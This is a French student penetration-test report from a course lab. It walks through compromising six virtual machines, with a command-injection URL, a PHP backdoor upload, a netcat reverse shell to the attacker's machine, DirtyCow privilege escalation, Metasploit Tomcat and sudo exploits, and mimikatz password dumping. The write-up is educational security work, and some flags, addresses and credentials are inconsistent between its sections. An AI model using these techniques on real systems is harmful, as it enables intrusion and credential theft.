# EHK Penetration Test Report
Antoine Lestrade, Sylvain Willy - 14 janvier 2022
# 1. Introduction
Ce rapport contient tous les efforts qui ont été menés afin de compléter le test de pénétration
pour le cours EHK. Le présent rapport sera évalué du point de vue de l'exactitude, de l'intégralité et de l'exhaustivité. L'objectif de ce rapport est de s'assurer que l'étudiant a une compréhension de la méthodologie des tests de pénétration ainsi que des connaissances techniques.
## 1.1 Objectif
L'objectif de cette évaluation est d'effectuer un test de pénétration interne contre le
réseau du laboratoire virtuel. L'étudiant est chargé de suivre une approche méthodique pour obtenir l'accès aux objectifs.
## 1.2 Conditions requises
L'étudiant devra remplir ce rapport de test de pénétration et inclure les
sections suivantes :
* Résumé général de haut niveau et recommandations (non technique).
* Analyse de la méthodologie et description détaillée des étapes suivies.
* Chaque constatation accompagnée de captures d'écran, de la procédure, d'un exemple de code et de drapeaux, le cas échéant.
# 2. Découvertes
## 2.1 Résumé Général
* 10.10.40.13 - flaf.txt:AST16{Ping_or_no_ping_thats_the_question} - Exploitation d'un mauvais filtrage REGEX permettant une exécution de code.
* 10.10.40.85 - flag.txt:AST16{m3745p1017_p0w3r_700_345y} - Exploitation d'une backdoor PHP uploadé via un service WebDav
* 10.10.40.122 - flag.txt:AST16{d3f4u17_cr3d5_3v3rywh3r3} - Upload d'une backdoor JSP (Java) via Tomcat
* 10.10.40.128 - flag.txt:AST16{up104d_w17h_57y13_15_n07_3n0u6h} - Upload sur serveur Web d'une image contenant un script PHP
* 10.10.40.168 - flag.txt:AST16{1234AST16backAdmin} - Upload d'une backdoor Windows via Tomcat
* 10.10.40.231 - flag:AST{Fr33_C4n_b3_D4Ng3r0us_S0met1m3s} - Exploitation de la faille "Baron Samedit" (vulnérabilité sudoedit)
## 2.2 Recommandations et mitigations
* 10.10.40.13 - Mettre à jour HFS (HttpFileServer) à la version 2.3c *minimum*
* 10.10.40.85 - Interdire l'exécution de code dans les dossiers de réception des fichiers uploadés. Bonus: imposer une authentification pour uploader avec un système de droit.
* 10.10.40.122 - Remplacer le mot de passe ("tomcat") du compte "tomcat" par une alternative solide (aléatoire et longue).
* 10.10.40.128 - Interdire l'exécution de code dans les dossiers de réception des fichiers uploadés. Bonus: vérifier que les images sont valides (toujours contournable mais plus difficile).
* 10.10.40.168 - Remplacer le mot de passe ("admin") du compte "manager" par une alternative solide (aléatoire et longue).
* 10.10.40.231 - Mettre à jour sudo à la version 1.9.5 *minimum*.
# 3. Méthodologies
## 3.1 Collecte d'informations
La partie collecte d'informations d'un test de pénétration se concentre sur l'identification de l'étendue du test d'intrusion. Au cours de ce test de pénétration, nous avons été chargés d'exploiter le réseau du laboratoire Pentest. La plage d'IP était :
Réseau Pentest Lab
10.10.40.1 - 10.10.40.254
## 3.2 Énumération des services
La partie énumération des services d'un test d'intrusion se concentre sur la collecte d'informations concernant les services actifs sur un ou plusieurs systèmes. Ceci est un atout pour un attaquant car cela fournit des informations détaillées sur les vecteurs d'attaques potentiels dans un système. Comprendre quelles applications sont exécutées sur le système donne à l'attaquant les informations nécessaires avant d'effectuer le test de pénétration proprement dit. Dans certains cas, certains ports peuvent ne pas être listés.
| Adresse IP | Ports Ouverts |
| -------- | -------- |
| 10.10.40.1 | TCP : 53 (DNS) |
| 10.10.40.13 | TCP : 80 (HTTP) |
| 10.10.40.85 | TCP : 21 (FTP), 22 (SSH), 23 (telnet), 25 (smtp), 53 (DNS), 80 (HTTP), 111 (RPC), 139 (NetBIOS), 445 (SMB), 512, 513, 514, 1099, 1545, 2049, 2121, 5432, 5900, 6000, 6667, 8009, 8180 <br>UDP : 137 |
| 10.10.40.122 | TCP : 8080 (HTTP) |
| 10.10.40.128 | TCP : 80 (HTTP) |
| 10.10.40.138 | TCP : 22 (SSH), 80 (HTTP) |
| 10.10.40.168 | TCP : 53 (DNS), 80 (HTTP), 135 (RPC), 8009, 49152, 49153, 49154, 49155, 49156, 49157 <br> UDP : 137 (NetBIOS) |
| 10.10.40.231 | TCP : 22 (SSH), 60001 (HTTP) |
| 10.10.40.234 | TCP : 22 (SSH), 1337, 5000 (HTTP) |
Les scans ont été effectués avec nmap et Greenbone Security Manager.
`db_nmap -v -sn -T2 10.10.40.1-254`
Avec les arguments :
- `-v` verbose
- `sn` ping scan
- `T2` mode "polite" pour ne pas surcharger le réseau
## 3.3 Exploitation
La partie exploitation de l'évaluation est fortement axée sur l'accès à une variété de systèmes. Au cours de ce test de pénétration, nous avons réussi à accéder à 6 des 8 machines.
### 3.3.1 Machine 10.10.40.13
#### Vulnérabilité
| **Sévérité** : <strong style="color:red">Critique</strong> |
| --- |
| **Explication** : <br/> La bibliothèque parserLib.pas, utilisée par Rejetto HTTP File Server, implémente mal la détection de commande en ne gérant pas les "null-bytes". Le système de protection d'injection peut alors être contourné en utilisant, par exemple,`%00` dans l'URL: <br /> `http://localhost:80/search=%00{.exec\|cmd.}` |
| **Correction de la vulnérabilité** : Vérifier la présence de "null-bytes" |
#### Code et captures d'écran
Charger le module `exploit/windows/http/rejetto_hfs_exec`.

Configurer pour l'attaque de la cible.

Exécuter l'attaque pour obtenir un reverse-shell.


Le flag est immédiatement accessible dans le fichier `flag.txt` qu'il suffit d'afficher.

`AST16{Ping_or_no_ping_thats_the_question}`
---
### 3.3.2 Machine 10.10.40.85
#### Vulnérabilité
| **Sévérité** : <strong style="color:red">Critique</strong> |
| --- |
| **Explication** : <br/> L'adresse 10.10.40.85:80 expose plusieurs services dont un service WebDav. Il est possible d'y uploader un script exécutable sans authentification ou droit d'accès. Le compte utilisateur système du serveur web est `www-data` qui se trouve avoir des droits trop élevés (exemple: accès non nécessaire à des fichiers sensibles). |
| **Correction de la vulnérabilité** : Interdire l'exécution des fichiers uploadés dans les dossiers de réception. Une autre possibilité est d'imposer une authentification pour uploader avec un système de droit. Peut-être même privilégier un serveur FTP avec authentification pour un système de partage de fichier. |
**Code et captures d'écran**
Valider la possibilité de l'attaque en vérifiant les droits d'écriture et d'exécution avec la commande [davtest](https://www.kali.org/tools/davtest/). Cela permet d'upload une série de scripts à tenter d'exécuter afin de tester les permissions sur répertoire mis à disposition par le service WebDav :
`davtest -url http://10.10.40.85/dav -cleanup`

Télécharger une backdoor PHP, par exemple C99Shell.
https://github.com/bartblaze/PHP-backdoors/blob/master/Obfuscated/C99Shell_40794b16b34d0df2eebc244fa86f933b88835515.php
Déposer la backdoor PHP dans le répertoire WebDav avec l'outil cadaver.
```shell
cadaver [url]
> put [filename].php
```

Accéder aux scripts PHP via un navigateur web.

Rechercher des fichiers se nommant "flag" depuis la racine "/"

Affichage du fichier "flag.txt"

Toujours avec la commande `cadaver`, suppression de la backdoor PHP ou alternativement utiliser une fonction d'auto-suppression comme disponible avec C99Shell.

`AST16{d3f4u17_cr3d5_3v3rywh3r3}`
---
### 3.3.3 Machine 10.10.40.122
#### Vulnérabilité
| **Sévérité** : <strong style="color:red">Critique</strong> |
| --- |
| **Explication** : <br/> Le compte d'administration du service tomcat possède un nom et un mot de passe triviaux à deviner. |
| **Correction de la vulnérabilité** : Remplacer le mot de passe ("tomcat") du compte "tomcat" par une alternative solide (aléatoire et longue). |
**Code et captures d'écran**
Avec Metasploit, attaque par brut-force de login par défaut avec `tomcat_mgr_login`

Ici le login trouvé est `tomcat : tomcat`

Configurer l'exploit `tomcat_mgr_upload` pour l'attaque de la cible.

Exécuter l'attaque pour obtenir un reverse-shell.

Le flag est accessible à la racine dans le fichier `flag.txt` qu'il suffit d'afficher.

`AST16{d3f4u17_cr3d5_3v3rywh3r3}`
---
### 3.3.4 Machine 10.10.42.128
#### Vulnérabilité
| **Sévérité** : <strong style="color:red">Critique</strong> |
| --- |
| **Explication** : <br/><p>1. Exécution de code: Un formulaire permet d'upload des fichiers images sur le serveur. Le serveur valide le type des fichiers images seulement à partir de l'en-tête du fichier envoyé par le formulaire. Il suffit alors d'insérer un script PHP exécutable après cet en-tête et de changer l'extension du fichier. Le fichier sera alors uploadé sur le serveur et sera accessible publiquement.</p><p>2. Escalade de privilège: La faille *DirtyCow* permet de ré-écrire un fichier arbitraire (ici, `/etc/passwd`) sur le système. Une race-condition permet de modifier le contenu d'un fichier chargé en mémoire en lecture seule avec `mmap`. </p> |
| **Correction de la vulnérabilité** : <br/><p>1. Interdire l'exécution de code dans les dossiers de réception des fichiers uploadés. Bonus: vérifier que les images sont valides (toujours contournable mais plus difficile).</p><p>2. Mettre à jour le noyau linux à la version 4.8.3 *minimum*. </p> |
**Code et captures d'écran**
Préparer un script PHP en y insérant au début l'entête d'un fichier image.
Récupérer la backdoor C99Shell, ouvrir une image quelconque dans un éditeur de texte, y ajouter le code PHP du script et changer l'extension pour `.php`.
Accès à l'adresse 10.10.42.128:80 et utilisation du formulaire d'upload pour envoyer la backdoor PHP.

Accéder à la backdoor en suivant le lien présent dans la page de confirmation d'upload. Ou alternativement, via le chemin "/uploads où les images sont uploadées.

*Maintenant serait le moment de récupérer le flag mais le fichier n'étant pas accessible par l'utilisateur `www-data`, sa recherche est documentée ci-après.*
Préparer le reverse-shell sur la machine de l'attaquant avec `nc -lp [port]`.

Initier la connexion avec `nc [ip_attaquant] [port] -e /bin/bash` depuis la backdoor sur la machine cible.

Déterminer l'architecture et le système d'exploitation de la machine cible avec `uname -a`. En l'occurence, un Ubuntu 9.04 en 32bits.
Télécharger le script de *Firefart* (https://www.exploit-db.com/exploits/40839) permettant de substituer l'utilisateur `root` à un nouvel utilisateur en modifiant le fichier /etc/passwd. Puis, compiler le script avec `gcc` et le flag `-m32` pour qu'il soit exécutable sur la machine cible.
`gcc -m32 -pthread -o dirty dirtycow.c -lcrypt`
Note importante pour Kali et d'autres systèmes:
Installer les dépendances 32 bits nécessaires à la compilation en utilisant `apt` sur les système basés sur debian.
```
sudo apt-get install g++-multilib libc6-dev-i386
sudo dpkg --add-architecture i386
sudo apt update
sudo apt install libc6-dev:i386
```

Uploader le binaire `dirty` sur la machine cible à l'aide de C99Shell (ou via netcat ou autre). Puis, le rendre exécutable et l'exécuter depuis le reverse-shell.
```shell
chmod +x dirty
./dirty
```

Lancer un nouveau PTY avec Python pour pouvoir ensuite se connecter en tant qu'administrateur avec la commande `su`:
> Sans PTY, la commande `su` refuse de fonctionner :
> ```shell
> su
> su: must be run from a terminal
> ```
```shell
python -c "import pty; pty.spawn('/bin/bash')"
```

Rechercher le flag dans le système et l'afficher.
```shell
find -name flag.txt
cat /root/flag.txt
```

`AST16{up104d_w17h_57y13_15_n07_3n0u6h}`
Restaurer le fichier `/etc/passwd` à la fin, pour couvrir ses traces et respecter ses camarades de CTF.

### 3.3.5 Machine 10.10.40.168
#### Vulnérabilité
| **Sévérité** : <strong style="color:red">Critique</strong> |
| --- |
| **Explication** : <br/>Le compte d’administration du service tomcat possède un nom et un mot de passe triviaux à deviner. |
| **Correction de la vulnérabilité** : Remplacer le mot de passe (“tomcat”) du compte “tomcat” par une alternative solide (aléatoire et longue). |
**Code et captures d'écran**
Observer la redirection sur le domaine `www.corporation-sa.com` en accèdant au service web `10.10.40.168:80` à l'aide d'un navigateur.

Editer le fichier `/etc/hosts` sur la machine de l'attaquant pour résoudre ce domaine sur l'adresse IP `10.10.40.168`.

Découvrir les sous-domaines résolus par le DNS de la machine cible.
Pour `www.corporation-sa.com` :

Et pour le domaine parent `corporation-sa.com` :
Les domaines découverts se trouvent dans le bloc "ANSWER SECTION".

Editer le fichier `/etc/hosts` sur la machine de l'attaquant pour résoudre les autres domaines `corporation-sa.com` et `backend.corporation-sa.com` sur l'adresse IP `10.10.40.168`.

Tester des combinaisons de login par défaut à l'aide du module metasploit `tomcat_mgr_login` sur l'adresse `backend.corporation-sa.com`.

Ici, il y a un succès pour le compte `manager:admin`.

Déployer un reverse-shell TCP sur la machine cible à l'aide de `tomcat_mgr_upload` et des identifiants récupérés.

Rechecher maintenant le fichier flag dans le système. Son contenu indique que le vrai flag est contenu dans le mot de passe d'un compte administrateur.

Récupérer la dernière version de Mimikatz (archive zip) depuis son dépôt sur GitHub (https://github.com/gentilkiwi/mimikatz/releases). Mimikatz est d'un outil pour extraire des mots de passe en clair, hashes, codes PIN et des tickets Kerberos de la mémoire vive.
Uploader le contenu dézippé de l'archive Mimikatz sur la machine cible via la session meterpreter.

Exécuter x64/mimikatz.exe (ou Win32 pour une plateforme 32bits) et utiliser la commande `sekurlsa::logonpasswords` pour récupérer les logins en clairs dans la RAM.

Mot de passe de Gagou : 1234AST16backAdmin
Valider le mot de passe en essayant de se connecter avec puis en essayant avec un mot de passe erroné.

`AST16{1234AST16backAdmin}`
### 3.3.6 Machine 10.10.40.231
| **Sévérité** : <strong style="color:red">Critique</strong> |
| --- |
| **Explication** : <br/>Exploitation de la faille "Baron Samedit" (vulnérabilité sudoedit) |
| **Correction de la vulnérabilité** : Mettre à jour sudo à la version 1.9.5 *minimum*.
**Code et captures d'écran**
Obtenir les identifiants affichés en accédant à l'adresse `10.10.40.231:60001` sur un navigateur web.

Utiliser Greenbone Security Manager pour effectuer un scan automatisé de la machine via SSH à l'aide du compte `guest`.





Parcourir la liste des CVE à la rerche d'une faille simple à exploiter. En particulier pour ce rapport, la CVE-2021-3156 (alias "Baron Samedit").

Déployer un reverse-shell sur la machine cible à l'aide du module metasploit `sshexec` et du compte `guest`.

Vérifier la connexion au compte avec `getuid`.

Configurer l'exploit `sudo_baron_samedit` de Metasploit permettant une élévation de privilèges sur le système. Renseigner la session ouverte précédemment, un numéro de port et l'ip de la machine de l'attaquant.

Exécuter l'exploit et vérifier l'identité de `root` avec `getuid`.

Rechercher le fichier flag dans le système et l'afficher.

`AST{Fr33_C4n_b3_D4Ng3r0us_S0met1m3s}`
# 4. Conclusion
Ce pentest a été très intéressant pour compléter les exercices habituels en nous permettant un exercice de bout-en-bout plus proche de la réalité. Nous avons beaucoup apprécié le challenge de certaines attaques (contre-balancé par la simplicité de quelques autres).
Nous aurions apprécié avoir un moyen de confirmer la validité des flags, en particulier pour celui de la machine `10.10.40.168` qui était obtenu à partir du mot de passe d'un administateur et donc incertain.